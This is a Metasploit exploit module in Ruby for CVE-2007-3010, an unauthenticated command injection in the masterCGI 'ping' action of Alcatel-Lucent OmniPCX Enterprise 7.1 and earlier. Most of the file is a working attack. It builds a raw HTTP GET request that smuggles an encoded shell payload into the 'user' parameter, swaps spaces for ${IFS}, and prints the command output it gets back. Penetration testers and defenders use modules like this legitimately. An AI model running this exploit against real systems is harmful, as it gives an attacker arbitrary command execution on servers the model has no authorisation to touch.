metasploit-framework/modules/exploits/linux/http/alcatel_omnipcx_mastercgi_e...

83 lines
2.4 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking # Only interactive single commands supported
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Alcatel-Lucent OmniPCX Enterprise masterCGI Arbitrary Command Execution',
'Description' => %q{
This module abuses a metacharacter injection vulnerability in the
HTTP management interface of the Alcatel-Lucent OmniPCX Enterprise
Communication Server 7.1 and earlier. The Unified Maintenance Tool
contains a 'masterCGI' binary which allows an unauthenticated attacker
to execute arbitrary commands by specifying shell metacharaters as the
'user' within the 'ping' action to obtain 'httpd' user access. This
module only supports command line payloads, as the httpd process kills
the reverse/bind shell spawn after the HTTP 200 OK response.
},
'Author' => [ 'patrick' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '40521' ],
[ 'BID', '25694' ],
[ 'CVE', '2007-3010' ],
[ 'URL', 'http://www1.alcatel-lucent.com/psirt/statements/2007002/OXEUMT.htm' ],
],
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Privileged' => false,
'Payload' =>
{
'Space' => 1024,
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic'
}
},
'Targets' =>
[
[ 'Automatic Target', { }]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Sep 09 2007'))
register_options(
[
Opt::RPORT(443),
OptBool.new('SSL', [true, 'Use SSL', true]),
])
end
def exploit
connect
cmd = payload.encoded.gsub(" ", '${IFS}')
req =
"GET /cgi-bin/masterCGI?ping=nomip&user=;#{cmd}; HTTP/1.1\r\n" +
"Host: #{rhost}\r\n\r\n"
print_status("Sending GET request with command line payload...")
sock.put(req)
res = sock.get_once(-1, 5)
if (res =~ /<h5>(.*)<\/h5>/smi)
out = $1
print_line(out.gsub(/<h5>|<\/h5>/, ''))
return
end
handler
disconnect
end
end